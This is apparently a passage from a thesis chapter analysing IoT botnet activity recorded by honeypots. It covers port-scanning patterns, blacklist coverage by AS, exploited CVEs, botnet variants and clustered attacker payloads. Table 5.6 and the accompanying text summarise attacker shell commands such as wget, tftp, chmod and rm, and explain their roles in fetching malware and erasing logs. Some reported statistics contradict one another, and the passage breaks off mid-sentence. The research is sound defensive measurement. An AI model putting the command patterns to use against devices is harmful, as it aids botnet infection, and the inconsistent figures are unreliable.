In-Depth Analysis of IoT Botnets

This chapter presents the practical application of the BotPro framework through using
real-world data generated by the proposed measurement infrastructure in Chapter 3. The
obtained data are based on monitoring different fundamental structural properties of the
Internet, including the relationship between ASes, DNS and inter-domain routing policy.
As described in Chapter 3, the actions of BotPro are tailored to identify, assess and attribute
the activity of IoT botnets. This chapter focuses on demonstrating the capabilities of Bot-
Pro in profiling IoT botnet activity. Section 5.1 presents the data obtained by implementing
BotPro. Section 5.2 provides insights into scanning patterns and strategies employed by
IoT botnets through assessing their behaviour during the scanning phase. Section 5.3 study
the relationship between AS degree and botnet presence and attributes the critical ASes
that play a significant role in spreading botnet activities. The AS temporal duration with
respect to active botnet activity has been assessed in Section 5.4 and related to blacklist
effectiveness. Furthermore, it provides evidence on concentrated botnet activities and de-
termines the effectiveness of widely used IP blacklists. The lifetime for individual bots is
assessed in Section 5.5, where also the dynamic behaviour of bots is analysed. Section 5.6
presents the services that are commonly targeted by IoT botnets and highlights the rise of
Mozi, a new P2P IoT botnet. It also presents the prevalence of different IoT botnet vari-
ants. Section 5.7 provides insights into the distribution of botnet’s payload over ASes, and
attributes the ASes involved in botnet activities. The evaluation performance of clustering
algorithms has been discussed in Section 5.8. Furthermore, we measure the time com-
plexity for algorithm 3, used to identify the botnet propagating strategy adopted by the IoT
botnet. Section 5.10 focuses on attributing the AS-level tolerance over P2P botnet loaders
and assessing the structural properties of botnet loaders with respect to the distribution of
malware binaries of various strains. Section 5.11 discusses how IoT botnets exploit DNS
to propagate over the Internet and highlight their dynamic behaviour.
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5.1 Data Sources

We leverage the extensive data collected by BotPro to conduct an in-depth analysis of IoT
botnets. With a comprehensive measurement infrastructure in place, our analysis aims
to uncover critical insights into the behaviour, structure and propagation strategies of ob-
served IoT botnets. The rich and diverse data sources obtained from globally distributed
honeypots, internet regional registries, IP blacklists and BGP provide a holistic view of
botnet activities in the wild.

CTI data

Observation Period
01/01/2020 - 06/01/2023

IP addresses ASes Malicious events Countries

2.08M 16K 3.8M 193
Table 5.1: Summary of CTI feeds collected from 40 globally distributed attack
honeypots run by Okta.

By leveraging the data, we analyse the scanning behaviour of IoT botnets, examining how
they identify and target potential vulnerable devices. We analyse the payloads used in at-
tacks to understand the attack vectors employed by IoT botnets and the types of commands
they carry out to take control of the potential victims. In addition, we investigate the struc-
ture and characteristics of botnet loaders, shedding light on the mechanisms used to deliver
the botnet malware. Furthermore, we delve into the AS-level relationships involved in the
propagation of IoT botnets. By mapping botnet activities to their originating ASes, we gain
insights into the geographic spread and distribution of botnet activities. Such analysis en-
ables us to understand the tolerance of ASes towards botnet propagation and the potential
implications for cybersecurity.
As summarised in Table 5.1, our observations were stemmed from 1.8M distinct IP ad-
dresses located across 16K ASes spanning 193 countries between January 2020 and Jan-
uary 2023, three years. During our observation, we managed to observe 3.8 malicious
events generated by IoT botnets ranging between reconnaissance and infection activities.
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Figure 5.1: Top ten countries ranked based on the number of IPs generate IoT
botnet traffic.

As already mentioned, we utilise MaxMind’s GeoLite 2 database to explore the geographic
distribution of infected IPs in our dataset. Fig. 5.1 shows the distribution of infected
IPs among the top ten countries. Evidently, 55% of botnet activity only originates from
five countries: (i) China: 3.1%, (ii) India: 8.7%, (iii) US: 5.6%, (iv) Taiwan: 5.2% and, (v)
BR: 4.2%.

BGP data DNS records

Shadowserver CAIDA’s ASRank
911,180Collected prefixes Customers Providers Peers

652,492 116,887 37,710 247.800
Table 5.2: BGP data obtained from Shadowserver and CAIDA, representing the
total number of prefixes and AS links in our dataset.

Furthermore, Table 5.2 illustrates the number of IP prefixes collected from Shadowserver
advertised by all ASes in our dataset and the number of links, including customers, providers
and peers connected to the ASes. BGP data was gathered from AIDA’sASRank 1 project.

1CAIDA:https://www.caida.org/projects/ark/
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We retrieved the AS’s neighbours and AS rank for each AS in our dataset. We used this
data to retrieve the degree for each AS and pinpoint the types of their neighbours. As
shown in [43], the AS degree metric is an effective heuristic for estimating the magnitude
of an AS and its routing capability. It also shows the importance of the AS regarding global
traffic routing on the Internet.

5.2 Scanning Phase

In the data processing module of BotPro, port sequences were generated from the captured
botnet activity. These sequences represent the sequential order in which various ports were
probed during the scanning phase. Fig. 5.2 shows the top 10 most common port sequences
observed during the scanning of IoT botnet.
Our analysis reveal that the most frequently occurring port sequence is "23, 2323" with a
total of 58,404 instances. This suggests that IoT botnets commonly scanned for Telnet (port
23) and then attempted to connect to port 2323, which is sometimes used as an alternative
Telnet port. The second most common sequence is "2323, 23," with 31,752 occurrences.
This means that some botnets first scan port 2323 and then try to connect to the standard
Telnet port 23.
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Figure 5.2: Most common scanning patterns generated by IoT botnets observed
by honeypots.

The third and fourth most prevalent sequences are "23, 37215" and "37215, 23," with 7,899
and 7,379 occurrences, respectively. Port 37215 is commonly associated with the Mirai
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malware. The scanning activity observed on port 37215 primarily focuses on exploiting
CVE-2017-17215, a vulnerability that impacts the Huawei HG532 router when it is run-
ning outdated firmware. This vulnerability enables a remote attacker to execute arbitrary
shell commands on the affected device.
The fifth most common sequence is "23, 23," which has been observed 7,113 times. This
suggests that certain botnets are repeatedly scanning the standard Telnet port 23, possibly
trying to find known vulnerabilities. The sixth most frequent sequence is "23, 26," which
occurs 5,301 times. The presence of port 26, which is associated with the SMTP email ser-
vice, suggests that some botnets may be attempting to exploit email system vulnerabilities.
The sequences "60023, 23" and "23, 60023" are ranked as the seventh and eighth most
prevalent, with 3,659 and 3,059 occurrences, respectively. While port 60023 does not have
a specific service assigned to it, its presence in scanning behaviour suggests that attackers
may be trying to identify open ports on devices that might be vulnerable to exploitation.
The sequences "23, 80" and "26, 23" rank ninth and tenth in terms of frequency, with
around 2,692 and 2,686 occurrences, respectively. Port 80 is widely known as the primary
port used for HTTP, which is the communication protocol utilised for online interactions.
The observed behaviour implies that malicious actors are actively trying to detect web
servers on IoT devices.
It is evident, that IoT botnet have expanded their target range on TCP ports by including
vulnerabilities that are likely to persist on applications running HTTP/HTTPS services
(e.g., web servers on TCP port 8080) and also HTTP-based protocols over TCP port 5555
enabling auto-configuration and remote management of home routers, modems, and other
customer premises equipment (CPE).
IoT botnets engage in scanning activities across various ports to identify vulnerabilities
and potential victims. To gain deeper insights into this behaviour and better understand
the scanning patterns and strategies employed by IoT botnets, we employ our developed
BotPro to profile the dynamic behaviour of IoT during their scanning phase.
To identify the most frequent ports over all sequences, we find IDF weights for each port
number. Hence, the ports with small IDF weights are considered the most frequent and
distinctive ports across all sequences, providing valuable insights into the patterns and
trends of botnet scanning activities. Table. 5.3 represents the top 10 ports ranked according
to their IDF weights in descending order.
Notably, ports 23 and 2323, which are typically associated with Telnet connections, are
the most commonly targeted ports. In addition, the analysis reveals that ports 80 and 443
are common targets for web-based attacks. Port 80 is typically used for HTTP communi-
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cation, while port 443 is associated with secure HTTPS communication. The significance
of these ports indicates that botnets are actively attempting to compromise web servers and
applications, possibly to initiate DDoS attacks or to propagate malware.

Rank Port idf_weights
1 23 1.234301
2 2323 3.142379
3 5555 3.876673
4 80 4.141914
5 37215 4.383904
6 8080 5.044607
7 22 5.200018
8 9530 5.396211
9 26 5.460496

10 443 5.479597
Table 5.3: Ranking of IDF weights shows the top 10 Ports targeted by malicious
actors.

The IDF shows that port 9530 is frequently targeted by botnets during their scanning activi-
ties. The vulnerability associated with port 9530 allows attackers to open a Telnet daemon
on port 9527. Moreover, the Universal Plug and Play (UPnP) services running on TCP
port 37215 are among the targeted services by IoT botnets during their scanning activities.
To further analyse the scanning behaviour of IoT botnets, we calculate the entropy for the
observed port sequences using Equation 3.13. By computing the entropy for each port
sequence, we gain a quantitative understanding of the variation in the scanning behaviour.
Higher entropy values indicate greater diversity in the port sequences, implying that the
botnet is employing a broader range of scanning patterns. On the other hand, lower entropy
values suggest a more repetitive and predictable scanning behaviour.
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Figure 5.3: Entropy distribution of destination ports scans from unique IP ad-
dresses: i) Low entropy values: IP addresses scan a small number of TCP ports,
ii) High entropy: IP addresses scan random and multiple TCP ports.

Fig. 5.3 represents the entropy distribution for the frequency in which TCP destination
source ports are scanned by IP addresses. Based on the resulted distribution, it is evi-
dent that a large proportion of infected IPs has relatively low entropy. Thus, dictating that
their scanning strategy is focused on specific TCP ports and their corresponding protocol-
related vulnerabilities. IP addresses with higher entropy values seem to be more flexible
and include more TCP ports in their scanning phase. Nonetheless, a much smaller por-
tion of around 3000 IP addresses demonstrated random scanning properties over multiple
TCP ports.
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Figure 5.4: Entropy distribution relating the frequency on the number of indi-
vidual ports targeted by each bot scanner.



CHAPTER 5. IN-DEPTH ANALYSIS OF IOT BOTNETS 83

In order to determine the range of ports that are targeted by each bot scanner, BotPro
assessed the number of unique ports related to each scan attempt. As demonstrated by
Fig. 5.4, each scanner may scan a maximum of 35 ports with a minimum of 2 in every
scanning session. Hence, in contrast with discussions (e.g., [87, 33]) on the full random-
ness of scanning strategies, we identify that even new IoT botnet variants have a carefully
crafted and strategic scanning procedure.

5.3 AS Degree and Botnet Presence

The data gathered through BotPro’s data collection and processed through analysis mod-
ules provides valuable insights into the distribution of botnet activities across various ASes
in the global internet infrastructure. It enables us to attribute ASes that serve as critical
nodes in botnet propagation and play a significant role in spreading botnet activities to
other networks.
As we mentioned in Section 3.1.2, the degree of an AS indicates the number of ASes di-
rectly connected to a given AS and considered its neighbours. The AS degree is calculated
by using Equation 3.7. The CV values were obtained from Equation 3.5 and relating them
to AS degree, BotPro can provide a compilation of the most important AS attributes that
frequently embrace IoT activity and evade detection. Our analysis showed that ASes with
a high number of malicious IP addresses are more likely to have a lower degree of ASes.
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Figure 5.5: CV distribution of correlating malicious IP addresses overall ob-
served ASes with our IP blacklist data feeds.

It was revealed that ASes of such characteristics hosted 70% of the IPs observed within
our attack honeypots. In addition, as shown in Fig. 5.5, a high number of these ASes have
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not appeared in any of the IP blacklists used within this thesis. This highlights a potential
blind spot in the current defence mechanisms, as these unlisted ASes could potentially har-
bour a large number of infected IoT devices operating under the radar of standard security
measures. In particular, Fig. 5.5 indicates more than 70% (i.e., 0.0 < 𝐶𝑉 < 0.5) of the
malicious IP addresses residing over various ASes to be partially or fully detected by some
IP blacklists whereas more than 70% to not be reported at all (i.e., 0.5 < 𝐶𝑉 < 1).
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Figure 5.6: Four distinct CV groups with respect to the effectiveness of com-
mercial IP blacklists on tracking botnet-related IP addresses across the examined
ASes; the two groups with CV values greater than 0.6 represent 70% of the exam-
ined ASes indicating that more than 90% of botnet addresses were not captured
by IP blacklists.

Fig. 5.6 presents a box plot that segregates ASes into four distinct groups based on their
CV scores. The first two groups, characterised by 𝐶𝑉 < 0.5, display a median value
situated at the bottom of the first quartile. This suggests that botnet-related IP addresses
associated with ASes in these groups demonstrated a higher degree of consistency in their
match with the IP blacklist data used in this thesis, thus indicating a relatively higher de-
gree of certainty. Through the conducted analysis focusing on IP reputation revolving
around addresses that originated from lower and high AS degree, it was revealed that IP
blacklist databases observed 70% of IPs from ASes with low degree. Our cross-correlation
also highlights that 90% of IP addresses listed were from ASes with a high degree.
Conversely, the latter two groups exhibit a median value located at the bottom of the second
quartile. This suggests that high CV values were encountered more frequently within these
groups. It indicates that the botnet-related IP addresses associated with these groups did not
consistently match with the IP blacklist data used in our analysis. Consequently, it implies
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Figure 5.7: Assessment on the amount of IP addresses against four global IP
blacklists.

a lower level of certainty in these groups, underlining the potential presence of botnets that
are not captured by the blacklist data feeds. Evidently, attackers prefer to target ASes that
have a lower AS degree and avoid ASes with a high degree. We argue that attackers tend
to adopt such behaviour in order to evade ISP monitors such as blackhole routes since such
routes suppress bidirectional communication between an attacker and a victim.
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Figure 5.8: AS-level distribution of correlated IP addresses belonging to the top
ASes against IP blacklist databases.

Fig. 5.7 depicts the number of IP addresses from our honeypot datasets that were de-
tected in each blacklist database. Obviously, not all IP addresses tracked by our honeypots
matched blacklist listings. In particular, Spamhaus had information for 81% of the IP
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addresses in our datasets, and Barracuda 23%, SORBS listed 21.5%, whereas CBL had
the lowest number of hits with 2.5%. Furthermore, through Fig. 5.8 shows that blacklist
databases are more effective in reporting IP addresses in particular ASes.

Class Abuse ratio Provider Peer Customer Total degree
Hosted malware

downloaders

Total

ASes

0 0-14 3.2 35.7 19.2 58.2 12.3% 3370

1 15-31 2.4 13 5.6 21.7 17.3% 3855

2 32-50 2 9.5 3.9 15.5 23.8% 4172

3 51-100 1.8 5.7 2.1 9.7 46.6% 3749

Table 5.4: Clustering abuse ratio of AS prefixes into groups by using Jenks nat-
ural breaks algorithm, with respect to the average AS degree, number of cus-
tomers, peers, provider ASes for each ratio group, and the total number of ASes
in each group.

IoT botnets are controlled by malicious actors that instrument various entities, including
bots and loader servers such as to launch malicious activities. Such entities typically reside
in particular ASes and comprise a set of contiguous IPv4 addresses seen as a single net-
work prefix. By using the Jenks natural breaks algorithm, we manage to cluster the abuse
ratio into four different classes and further measure the structural properties for each class
as shown in Table 5.4. It is evident that ASes with a low AS degree host a high proportion
of malware downloaders. For instance, class 3 contains ASes with the highest abuse ratio
from 51 to 100. Such ASes connect with an average of 1.8 providers, 5.7 peers, and 2.1
customers. This class hosts a significantly higher number of bot loaders 46%. By compar-
ing this class with others, we can clearly see a substantial increase in malicious activity.
For instance, Class 0 has a relatively low percentage of 12.2%, which increases to 45.6%
by Class 3. It demonstrates a strong correlation between the abuse ratio and the tendency
of an AS to host malicious entities based on its structural properties.
Furthermore, it is evident that ASes with higher abuse ratios tend to have lower average
degrees, fewer customers, peers and providers. It indicates that malicious actors are gen-
erally prefers to exploit ASes that are more isolated in terms of internet connectivity as
infrastructure for IoT botnets.
In addition, BotPro leverages the BD as shown in Equation 3.6 to measure the risk of an
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Figure 5.9: Distribution of ASes based on BD Values, where 60% of ASes have
BD value between 0 and 0.4.

AS. The rank is based on the ratio of malicious IP addresses detected by blacklists for AS.
For instance, a high score of BD indicates that the majority of IP addresses belonging to the
AS are captured by the blacklist. Conversely, a low BD score implies that a high number
of IP addresses originating from AS are not listed by blacklists. Fig. 5.9 represents the
distribution of ASes based on their BD values. It is evident that a considerable proportion
of ASes have BD values falling within the lower range, specifically between 0.0 and 0.4.
Moreover, the count of ASes falling within this range is around 9300 ASes. Hence, the
distribution of BD values among the ASes clearly indicates a strong concentration in the
lower range (0.0-0.4). It reveals that a large portion of ASes exhibits a high risk, as their
malicious activities are largely undetected by IP blacklists.

5.4 AS Temporal Duration

Our assessment of the AS temporal duration with respect to active botnet activity in Fig. 5.10
indicates that 50% of ASes were active for less than 100 days. The identified ASes also
obtained an average CV score of 0.6 demonstrating that a low proportion of botnet-related
IP addresses residing in these networks were captured by IP blacklists.
ASes active for more than 100 days obtained an average score of 0.40 suggesting that
malicious IP addresses participating in botnet activity were more likely to be captured by
IP blacklists. In general, we observe that the majority of botnet activity is instrumented
under the objective to evade particular AS security policies and they ensure to transfer of
critical entities such as malware uploaders in around a 3-month period.
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Figure 5.10: Duration for ASes participating in botnet activity, where ASes with
long duration have a low CV score.

In general, we have remarked that the vast majority of botnet activity is carried out to
circumvent certain AS security, and they assure the transfer of vital entities, such as bot
loaders within a time frame of around three months.
Upon conducting further analysis of our dataset, we have also identified the type of mali-
cious activities carried out by infected IPs, and correlated these activities with their orig-
inating ASes and the associated BGP advertised IP address prefixes. The analysis uncov-
ered that 26% of the ASes under observation had in excess of 50% of their IP prefixes
engaged in malicious botnet activity. These findings indicate that such networks were im-
plicated in a range of cyber attacks, prompted by IoT botnets.
Additionally, the characteristics of these ASes indicate that malicious actors tend to target
and exploit those ASes that have a limited number of providers and relatively weak BGP
routing policies. These observations suggest that a substantial number of ASes engage in
malicious activities due to a lack of robust security measures.
These findings indicate that a substantial proportion of ASes are vulnerable to attacks and
may require additional monitoring and security measures to protect against potential cyber
threats. The identification of these patterns and trends can assist in developing effective
strategies and protocols to safeguard against botnet activities. In addition, it provides valu-
able insights into the relationship between AS types and abuse ratios, which can help in
understanding the characteristics of ASes that are more likely to be targeted by attackers.
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Figure 5.11: Mean CV values for different active day intervals of ASes, a lower
score of CV implies that a higher proportion of blacklisted IPs while a high score
a lower proportion of IPs captured by blacklisted.

As shown in Fig. 5.11, we segmented AS temporal length into 90-day intervals, and we
computed the mean CV score for each 90-day interval. Our aim is to measure the propor-
tion of blacklisted IPs in relation to AS temporal. Obviously, there is a decreasing trend of
the CV score over time, which indicates that the behaviour of ASes can impact the likeli-
hood of malicious IPs observed by IPs blacklisted. Our findings suggest that blacklists are
more likely to not capture IPs associated with less active ASes.
Through further analysis of our datasets, we have also determined the type of malicious
activities performed by infected IPs and mapped them to their origin AS and their corre-
sponding BGP advertised IP prefixes. It was revealed that 26% of the observed ASes had
more than 50% of their IP prefixes participating in botnet-related activity. Thus, more than
half of these networks were actively involved in various cyber-attacks triggered by IoT
botnets. Moreover, the attributes of the aforementioned ASes depict that malicious actors
prefer to target and abuse ASes with a low number of providers with respect to their BGP
routing policies. The insight distilled from this observation empowers the opinion that a
large portion of ASes embraces malicious activity due to minimal security practices.

5.5 Botnet Activity Duration

BotPro assesses the duration of botnet activity by individual IP addresses as observed in
our honeypots. As shown in Fig. 5.12, the largest number of identified IP addresses was
active for less than 10 days. It was revealed that these addresses were mostly initiating scan
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Figure 5.12: Activity duration for infected IP addresses participating in IoT bot-
net activity.

traffic over a total of 2063 different TCP ports in the range of 0-8000. Thus, botmasters
in IoT botnet tend to use a large number of bots for massive scans under the intention to
expand their botnet but ensure that aggressive scan bots are not active for a long period.
We speculate that this behaviour dictates an evasion technique from botmasters in order
to stay undetected by corresponding network flooding detection mechanisms. However,
observing the lifetime of IPs exceeding 10 days shows different behaviour. Evidently, only
47 unique TCP ports were scanned from IP addresses that could remain active for a much
longer period reaching up to 200 days. Our analysis has also led to the conclusion that IP
addresses that remained active for more than 100 days were demonstrating behaviours of
botnet loaders.

5.6 Infection Phase

Through manual inspection over our CTI feeds we verify IoT botnets rely on brute force
attacks on responsive IoT devices that operate over a vulnerable protocol. As demonstrated
by Table 5.5, we identify that the greatest majority of exploit attempts were related to
vulnerabilities underpinning Remote Code Execution (RCE) on IP DVR and TCT CCTV
cameras of various vendors and also devices utilising the Android Debug Bridge (ADB). A
much smaller fraction targeted home network access points (i.e., HNAP) and in particular
NetGear routers.
Evidently, we observe most of the exploits being related to more than one Common Vulner-
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Vulnerability Compromise
Attempts CVE Tag

AVTECH Exploit 39547 CVE-2013-4981
CVE-2013-4980

MVPower DVR RCE 7944
CVE-2018-10562
CVE-2018-10561
CVE-2017-17215

Android Debug Bridge (ADB) 20349 CVE-2019-6005

HNAP 2402
CVE-2015-2051

CVE-2020-10173
CVE-2020-9054

CVE-2018-17173
TVT (Generic OEM)

DVR Targeted 2042
CVE-2017-8225
CVE-2017-5174
CVE-2017-462

Table 5.5: The five most frequent exploits across all IoT variants indicating their
mapping with multiple Common Vulnerability Exposure (CVE) tags that were
unpatched on the infected devices.

ability Exposure (CVE) tags indicating that IoT devices operating vendor-specific services
have been unpatched for more than 9 years (e.g., AVTECH exploit). Therefore dictating
the inadequacy of vendors on providing patching updates.
The second most targeted vulnerability is the MVPower DVR Remote Code Execution
(RCE) with 7,944 compromise attempts, followed by the Android Debug Bridge (ADB) ex-
ploit with 20,349 attempts. These vulnerabilities are linked to multiple CVE tags, demon-
strating the wide array of documented security weaknesses they exploit.
HNAP vulnerability, with 2,402 compromise attempts, has also been associated with mul-
tiple CVE tags, pointing to its diverse set of unpatched vulnerabilities. The TVT (Generic
OEM) DVR Targeted vulnerability, with 2,042 compromise attempts, corresponds to three
different CVE tags. The presence of multiple CVE tags for each exploit suggests that at-
tackers are leveraging a range of known vulnerabilities within each targeted system.
Assuming a response to a given Mirai-related scan from a vulnerable device, a handshake
between the IoT device and a Report server is conducted. Our investigation revealed that
the Report server redirects the vulnerable IoT device to a Loader or Malware server through
a URL encoded in the payload of the first session packet. The encoded URL contains the
location of the Mirai-like malware binary that is present on the Loader server having as a
result the vulnerable device to download the actual binary.
In general, we identify 27027 IP addresses mapped to one or more IoT devices that were
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Figure 5.13: Successful number of exploits of IoT botnet on compromised IP
addresses. Mozi.a, a new P2P Mirai variant overtakes by far most of exploits.

successfully exploited with Mirai-like malware. As evident by Fig. 5.13, we observe
around 28.000 of the exploits to be resulted by the propagation of a 2020 Mirai variant,
Mozi.a. Through backtracking the properties of the Mozi.a binary, it was revealed that this
particular Mirai-like botnet operates purely on P2P protocols.
Hence, its expansion has progressed much more aggressively than the rest of the Mirai
variant counterparts that relied on more centralised structural properties (e.g., Kira.arm).
In addition, the Mozi.a variant is able to infect devices running on either ARM or x86 pro-
cessor architectures, whereas the majority of the rest of the variants are purely focusing on
ARM. Thus, centralised Mirai-like botnets are likely to compromise low-cost IoT devices
running dedicated ARM architectures, whereas distributed variants such as Mozi.a are far
more inclusive on more general-purpose IoT devices.
Following closely is bins.sh with 27,655 unique IPs. The third most widespread botnet,
strs.sh, represents 16,004 unique IPs, while the notorious Mirai botnet is associated with
15,386 unique IPs. Gafgyt has been detected in 12,255 unique IPs, but when combined
with its Tor variant, Gafgtyt_tor, the total count exceeds 22,000 unique IPs. This underlines
the significant presence of Gafgyt in the botnet landscape. Sora.arm7 and Darknet.arm7
manifest moderate prevalence with 9,859 and 9,388 unique IPs respectively. The variants
jaws.sh and avtech.sh follow with 7,902 and 6,937 unique IPs respectively.
Evidently, the presence of multiple variants like sora.arm7, Darknet.arm7, jaws.sh, avtech.sh,
and 205.avtech highlights that the IoT botnet landscape isn’t dominated by a single vari-
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ant. Such diversity in variants highlights the varied nature of the IoT botnet landscape.
Furthermore, diversity presents a significant challenge for IoT security as different vari-
ants may exploit different vulnerabilities, necessitate different mitigation strategies, and
could potentially target different types of devices.
The variant 205.avtech is associated with 6,466 unique IPs, whereas update.sh and ur0a.sh
have lower prevalence with 5,230 and 5,212 unique IPs respectively. This distribution is
essential for understanding the relative prevalence and activities of different IoT botnet
variants.

5.7 Botnet Payload Distribution Over ASes

Via filtering botnet payloads from our CTI feeds, we compose a dataset resulted from the
application of TF-IDF as described in Chapter 3. We further employ k-means clustering
in order to gain insight into the distribution of botnet payloads amongst ASes. Through
the use of the elbow method, we identify the optimal number of clusters after an iterative
assessment of cluster number values 𝑘 with respect to the sum of squared errors (WCSS)
for each 𝑘.
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Figure 5.14: Selecting the optimal number of clusters through the assessment of
WCSS distribution.

Fig. 5.14 showcases the elbow curve and the optimal K value choice by examining the
WCSS distribution over different trials of the k-means clustering. The elbow curve visu-
alises the correlation between the cluster count (K) and inertia, which is an indicator of
the within-cluster square sum. As the K value escalates, the inertia usually drops, pointing
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to better cluster outcomes. Yet, there is a stage when the drop in inertia becomes trivial,
resulting in a curve shape similar to an elbow.
The value 𝑘 was selected at the “elbow”, i.e., the point of inflection on the curve which
provides a good indicator of the optimal point. In our case, the optimal number of clusters
for the data was six as represented in Fig. 5.14. The k-means outputs are mapped to ASes in
order to analyse the dispersity of malicious activities with respect to payload distribution.
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Figure 5.15: 70% of ASes are involved in botnet activities by concentrating on
targeting one cluster whereas the remaining are observed to target multiple clus-
ters.

We use the produced matrix by TF-IDF as the input for the k-means. By categorizing
the attacks into these distinct groups, we were able to gain a deeper understanding of the
patterns and characteristics of the attacks that were generated by IoT botnet. By using
the k-menas, BotPro manages to cluster the payloads into six different clusters. As shown
in Fig. 5.15 a high proportion of ASes are typically abused by malicious actors to send
malicious payloads targeting only one cluster. Evidently, such ASes have certain struc-
tural properties in terms of the number of connected providers. Specifically, the mean of
connected providers for cluster one is two, which is where the majority of ASes in our
dataset reside.



CHAPTER 5. IN-DEPTH ANALYSIS OF IOT BOTNETS 95

wg
et

ch
m
od rm tft
p

ec
ho sh ge
t cd cu
rl

ftp
ge
t

Shell commands

105

2×105

3×105

4×105

Fr
eq

ue
nc
y

Figure 5.16: The top 10 frequently used shell commands by IoT botnet.

Fig. 5.16 shows the top 10 most frequently used shell commands by IoT botnets. Such
identified commands provide initial insights into the operations and intents of IoT botnets.
In order to gain a deeper understanding of the underlying patterns and relationships among
these commands, we have applied clustering techniques. This will enable us to group
similar commands and uncover the common strategies adopted by IoT botnets.
We were able to identify the common features and behaviours by analysing the attacks
within each cluster and highlighting the most common commands that belong to the cluster.
The captured attacks assigned cluster labels that are generated by the k-means algorithm,
six different clusters (C1-C6) as shown in Table 5.6. Each attack observed in our dataset is
labelled with a unique cluster number, as shown in Table. 5.6. The results of the clustering
suggest that there are distinct patterns in the commands used to exploit IoT devices.
The K-means algorithm has grouped 24915 attacks under cluster number one targeting An-
droid devices through exploiting a common Android Debug Bridge (ADB) vulnerability
over the TCP port 5555. We found that samples comprising such cluster are originating
by 50% of bots captured by our global honeypots. Such vulnerability provides malicious
actors with an opportunity to gain unauthorized access and take control over the potential
victims. ADB is a commonly used debugging tool that is enabled by default on many An-
droid devices. This makes it a desirable target for attackers who are seeking to compromise
a large number of devices rapidly and easily.
Via exploiting this vulnerability, attackers can gain access to a wide range of Android de-
vices, potentially allowing them to launch DDoS attacks or perform cryptocurrency min-
ing. As per Table 5.6 the top commands that are used by attackers to exploit vulnerabilities
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related to Android operating systems.

Cluster attacks Originating IPs Top commands

C1 24915 142875
cmd, exec, symlink,

timestamp, stat,
apex, mkdir

C2 342436 1522 GET, busybox, bin,
tftp, echo

C3 36494 11483
http, tmp, wget,

chmod, 777,
rm

C4 3872 53421
HNAP1, post, snapshot,

put, sdk, dvr,
login

C5 36615 10343
cgi, httpport, clientport,

ver, squ, dir,
type

C6 112985 83708 wget, sh, cd, curl,
nohup,ftpget, tftp2

Table 5.6: Number of attacks assigned to each cluster corresponding top fre-
quency commands and sources IP addresses.

For instance, the apex command is used to interact with the Android Package Manager
(APK) and install or uninstall system apps, while the mkdir command is used to create
directories in certain locations on the potential victim. In order to avoid the detection, we
notice that the attackers utilise timestamp commands to modify the time of a file with the
purpose of making it harder for security software to detect changes made by malicious
actors.
Samples comprising C2 targeted IoT devices manufactured by MVPower. Our proposed
clustering algorithm assigned 342436 attacks under cluster two. GET command is used to
retrieve information from the targeted IoT device, allowing the malicious actor to obtain
sensitive data and gain a better understanding of the device’s configuration.
The shell command in this cluster is used to gain access to the command line interface
of the device and carry out further malicious activities. Busybox and bin commands are
used in the Linux operating system and provide a set of essential Unix utilities. Attackers
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utilise such commands to gain access to the command line interface of the device and
execute further commands or install additional software.
Evidently, attacks belonging to this cluster use the tftp command to transfer files from re-
mote hosted malware using the Trivial File Transfer Protocol(TFTP). An attacker utilises
the echo command in combination with a brute-force attack to guess the password for a
targeted device. In n this scenario, the echo command is used to submit potential pass-
words to the login prompt on the targeted victim and observe whether they are accepted or
rejected.
Attacks in C3 are mainly carried out via wget command, it is instrumented the devices to
download malicious binary from remote host trough HTTP protocol on different standard
ports including 80 and 8080. The tmp command is used to access the temporary directory
on the victim, which can be useful for storing payloads and executing commands in order
to maintain access to the device.
In order to modify the permissions of files and directories on the device, the attackers
utilise the chmod command. By granting permission, the attackers gain more control over
the device and can execute malicious payloads that are e restricted. We notice that the
attacker uses the rm command in order to delete logs and their activities on the device to
cover up the evidence and avoid detection.
Our analysis revealed that a significant portion of payloads, around 50% in this cluster
were instrumented for P2P propagation. This finding suggests that the attackers behind
this cluster were using P2P networks to distribute malware and coordinate their activities,
which can make it more difficult to detect and mitigate their activities. In addition, our
analysis shows that the attackers use post commands to compromise IoT devices in C4.
It is notable that attacks belonging to C4 concentrate on targeting networked devices and
services, particularly that use HTTP/HTTPS protocols for communication.
Our analysis shows that the commands belonging to C5 are intended to interact with and
manipulate IoT’s web interface. Such interface is often used by consumers to manage IoT
devices. We found that "cgi" which is a common web server module is used by attacker to
execute scripts and run malicious scripts on the victim to gain unauthorized access.
The other commands are used to specify the details of the HTTP request being sent to the
device, such as the port number, the version of HTTP being used, and the directory path to
the resource that will be needed. Our analysis for attacks in C6 shows that attackers utilise
the "nohup" command to execute binaries that can continue running even after disconnect-
ing from the compromised device. Such technique is adopted by attackers to ensure that
their malicious payloads continue running even if the user attempts to shut it down.
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5.8 Space Complexity

In our endeavour to effectively profile IoT botnets, we conducted an investigation into the
application of various clustering algorithms on the dataset. K-means, Gaussian Mixture
Models (GMM), and Birch are applied to our dataset to determine the most effective tech-
nique for discerning the behavioural patterns of IoT botnets. The efficiency and effective-
ness of the clustering algorithm can significantly differ based on the characteristics, or-
ganisation, and complexity of the data being analysed. Hence, the selection criteria were
established based on three widely accepted evaluation metrics: (i) Silhouette Score, (ii)
Davies-Bouldin index, and (iv) Calinski-Harabasz index. Table 5.7 presents the compari-
son between the three clustering algorithms with respect to their performance.

Algorithm Silhouette Score Davies-Bouldin Index Calinski-Harabasz Index
K-means 0.5398 1.1837 61445.979
GMM 0.5103 1.2720 56376.188
Birch 0.4877 1.2785 22069.512
Table 5.7: Clustering algorithm comparison.

The Silhouette Score quantifies the degree to which an object is similar to its own cluster
(cohesion) relative to other clusters (separation). A high score indicates that an object is
well-matched to its own cluster but poorly matched to neighbouring clusters. The score
ranges from -1 to 1, with a higher value indicating better clustering. In our evaluation,
K-means had the highest Silhouette Score of 0.5398, indicating that its cohesion and sep-
aration were superior to GMM and Birch.
The Calinski-Harabasz index, also referred to as the Variance Ratio Criterion, calculates
the ratio between the sum of between-clusters dispersion and the sum of inter-cluster dis-
persion for all clusters. In this context, dispersion is defined as the sum of squared dis-
tances. A higher value of the Calinski-Harabasz index indicates better performance of the
clustering model. The k-means algorithm demonstrated superior performance, achieving
a score of 61445.979. This result indicates that k-means excelled in generating clusters
that exhibit high density and distinct separation.
The Davies-Bouldin index is a metric that calculates the average ’similarity’ between clus-
ters. This similarity is determined by comparing the distance between clusters to the size
of the clusters. A lower Davies-Bouldin index indicates that a model has better separation
between the clusters. Among the three algorithms, k-means achieved the lowest score of
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1.1837, indicating that it generated clusters that were more distinct compared to the clus-
ters produced by the other two algorithms. Based on three metrics, the k-means clustering
